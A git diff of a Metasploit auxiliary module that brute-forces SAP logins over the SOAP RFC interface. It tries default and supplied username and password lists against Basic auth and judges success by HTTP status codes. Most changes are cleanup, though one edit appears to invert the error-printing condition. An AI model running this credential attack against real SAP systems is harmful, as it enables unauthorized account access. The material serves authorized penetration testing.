diff --git a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb index 09bfd71396..1e7d29b461 100644 --- a/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb +++ b/modules/auxiliary/scanner/sap/sap_soap_rfc_brute_login.rb @@ -1,18 +1,18 @@ ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ ## ## -# This module is based on, inspired by, or is a port of a plugin available in -# the Onapsis Bizploit Opensource ERP Penetration Testing framework - +# This module is based on, inspired by, or is a port of a plugin available in +# the Onapsis Bizploit Opensource ERP Penetration Testing framework - # http://www.onapsis.com/research-free-solutions.php. -# Mariano Nuñez (the author of the Bizploit framework) helped me in my efforts +# Mariano Nunez (the author of the Bizploit framework) helped me in my efforts # in producing the Metasploit modules and was happy to share his knowledge and -# experience - a very cool guy. I'd also like to thank Chris John Riley, -# Ian de Villiers and Joris van de Vis who have Beta tested the modules and +# experience - a very cool guy. I'd also like to thank Chris John Riley, +# Ian de Villiers and Joris van de Vis who have Beta tested the modules and # provided excellent feedback. Some people just seem to enjoy hacking SAP :) ## @@ -28,20 +28,20 @@ class Metasploit4 < Msf::Auxiliary def initialize super( 'Name' => 'SAP SOAP RFC Brute Forcer (via RFC_PING)', - 'Version' => '$Revision$', 'Description' => %q{ - This module attempts to brute force the username | password via an RFC interface (over SOAP). - Default clients can be tested without needing to set a CLIENT. - Common/Default user and password combinations can be tested without needing to set a USERNAME, PASSWORD, USER_FILE or PASS_FILE. - The default usernames and password combinations are stored in ./data/wordlists/sap_default.txt. + This module attempts to brute force the username | password via an RFC + interface (over SOAP). Default clients can be tested without needing to set a + CLIENT. Common/Default user and password combinations can be tested without needing + to set a USERNAME, PASSWORD, USER_FILE or PASS_FILE. The default usernames and + password combinations are stored in ./data/wordlists/sap_default.txt. }, - 'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com' ]], + 'References' => [[ 'URL', 'http://labs.mwrinfosecurity.com/tools/2012/04/27/sap-metasploit-modules/' ]], 'Author' => [ 'Agnivesh Sathasivam','nmonkee' ], 'License' => BSD_LICENSE ) register_options([ - OptEnum.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']), - OptBool.new('DEFAULT_CRED',[false, 'Check using the defult password and username',true]), + OptString.new('CLIENT', [false, 'Client can be single (066), comma seperated list (000,001,066) or range (000-999)', '000,001,066']), + OptBool.new('DEFAULT_CRED',[false, 'Check using the defult password and username',true]) ], self.class) register_autofilter_ports([ 8000 ]) end @@ -86,8 +86,8 @@ class Metasploit4 < Msf::Auxiliary credentials.each do |u, p| client.each do |cli| success = bruteforce(u, p, cli) - if success == true - saptbl << [ datastore['RHOST'], datastore['RPORT'], cli, u, p] + if success + saptbl << [ rhost, rport, cli, u, p] end end end @@ -95,8 +95,8 @@ class Metasploit4 < Msf::Auxiliary each_user_pass do |u, p| client.each do |cli| success = bruteforce(u, p, cli) - if success == true - saptbl << [ datastore['RHOST'], datastore['RPORT'], cli, u, p] + if success + saptbl << [ rhost, rport, cli, u, p] end end end @@ -128,26 +128,24 @@ class Metasploit4 < Msf::Auxiliary 'Authorization' => 'Basic ' + user_pass, 'Content-Type' => 'text/xml; charset=UTF-8'} }, 45) - if res.code == 401 + if res and res.code == 401 success = false return success - elsif res.code == 500 + elsif res and res.code == 500 response = res.body error.push(response.scan(%r{(.*?)})) error.push(response.scan(%r{(.*?)})) success = false - elsif res.code == 200 + elsif res and res.code == 200 success = true return success - elsif res.body =~ /Response/ - #puts res end - if success == false - err = error.join().chomp - print_error("#{datastore['RHOSTS']}:#{datastore['RPORT']} -#{err} - #{client}:#{username}:#{password}") + if success + err = error.join.chomp + print_error("[SAP] #{rhost}:#{rport} - #{err} - #{client}:#{username}:#{password}") end rescue ::Rex::ConnectionError - print_error("#{datastore['RHOST']}:#{datastore['RPORT']} - Unable to connect") + print_error("[SAP] #{rhost}:#{rport} - Unable to connect") return end end